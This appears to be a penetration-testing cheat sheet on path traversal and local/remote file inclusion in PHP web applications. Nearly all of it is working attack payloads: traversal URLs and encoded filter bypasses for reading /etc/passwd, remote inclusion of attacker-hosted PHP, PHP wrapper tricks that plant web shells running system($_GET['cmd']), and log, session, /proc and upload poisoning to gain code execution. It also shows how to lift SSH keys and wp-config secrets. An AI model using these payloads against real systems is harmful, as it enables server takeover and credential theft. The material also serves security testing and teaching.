Path traversal & LFI/RFI

Basic path traversal

http://website.com/index.php?page=../../../etc/passwd

Inside the same directory

http://website.com/index.php?page=dir1/dir2/../../../../../etc/passwd

Remote File Inclusion (RFI): The file is loaded from a remote server (RWX). In php this is disabled by default (allow_url_include). Local File Inclusion (LFI): The sever loads a local file (Read-only)

Here is a list to my gist holding a list of a bunch of paths to try. https://gist.github.com/TurboWindX/9e4f753868de11b2f96bc3c74dc320ef https://gist.github.com/TurboWindX/37454e618bcf8ed4ff8eed7a169ee6bf

Filter Bypass

Encoding

Encode path traversal payload into different encoding such as double-URL, etc.

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=....%c0%af//....%c0%af....//%c0%afetc%c0%afpasswd

Always try to encode once,twice, and thrice. Try unicode. Try harder.

Make sure to bypass front-end user input sanitization by using a web proxy such as ZAProxy or burp.

Path truncation

Bypass the append of more chars at the end of the provided string (bypass of: $_GET['param']."php")

In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.
Check if last 6 chars are passwd --> passwd/
Check if last 4 chars are ".php" --> shellcode.php/.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.

#With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027)

http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

Always try to start the path with a fake directory (a/).

This vulnerability was corrected in PHP 5.3.

Remote file inclusion

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Wrappers

Wrapper php://filter

Base64 and rot13

The part "php://filter" is case insensitive

http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php

zlib (compression)

Can be chained with a compression wrapper for large files.

http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd

To read the comppression data you need to decode the base64 and read the resulting data using:

php -a #Starts a php console
readfile('php://filter/zlib.inflate/resource=test.deflated');

NOTE: Wrappers can be chained

Wrapper zip://

Upload a Zip file with a PHPShell inside and access it.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;  
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

Wrapper data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+

Note that this protocol is restricted by php configurations allow_url_open and allow_url_include

Wrapper expect://

Expect has to be activated. You can execute code using this.

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

Wrapper input://

Specify your payload in the POST parameters

http://example.com/index.php?page=php://input
POST DATA: <?php system('id'); ?>

Wrapper phar://

A .phar file can be also used to execute PHP code if the web is using some function like include to load the file.

create_phar.php
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');

$phar->stopBuffering();

And you can compile the phar executing the following line:

php --define phar.readonly=0 create_path.php

A file called test.phar will be generated that you can use to abuse the LFI.

http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.com/index.php?page=expect://ls

Wrapper Input

http://example.com/index.php?page=php://input
POST DATA: <?php system('whoami'); ?>

LFI->RCE

Log Poisoning

If the Apache server is vulnerable to LFI inside the include function you could try to access to /var/log/apache2/access.log, set inside the user agent or inside a GET parameter a php shell like <?php system($_GET['c']); ?> and execute code using the "c" GET parameter.

Note that if you use double quotes for the shell instead of simple quotes, the double quotes will be modified for the string "quote;", PHP will throw an error there and nothing else will be executed.

This could also be done in other logs but be careful, the code inside the logs could be URL encoded and this could destroy the Shell. The header authorisation "basic" contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Note: While Path/Directory Traversal may seem similar to Local File Inclusion (LFI) and Remote File Inclusion (RFI), Path/Directory Traversal vulnerabilities only allow an attacker to read a file, while LFI and RFI may also allow an attacker to execute code.

Via Email

Send a mail to a internal account (user@localhost) containing <?php echo system($_REQUEST["cmd"]); ?> and access to the mail /var/mail/USER&cmd=whoami

Via /proc/*/fd/*

  1. Upload a lot of shells (for example : 100)

  2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, with $PID = PID of the process (can be brute forced) and $FD the file descriptor (can be brute forced too)

Via /proc/self/environ

Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Via upload

If you can upload a file, just inject the shell payload in it (e.g : <?php system($_GET['c']); ?> ).

http://example.com/index.php?page=path/to/uploaded/file.png

In order to keep the file readable it is best to inject into the metadata of the pictures/doc/pdf

Via Zip fie upload

Upload a ZIP file containing a PHP shell compressed and access:

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Via PHP sessions

Check if the website use PHP Session (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

In PHP these sessions are stored into /var/lib/php5/sess\[PHPSESSID]_ files

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Set the cookie to <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Use the LFI to include the PHP session file

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Via ssh

If ssh is active check which user is being used (/proc/self/status & /etc/passwd) and try to access <HOME>/.ssh/id_rsa

Wordpress

Try following payload to grab wordpress config

php://filter/convert.base64-encode/resource=../../../../../wp-config.php

FLASK Template Injection

Use following payload as parameter

{{ get_user_file("/etc/passwd") }}

Last updated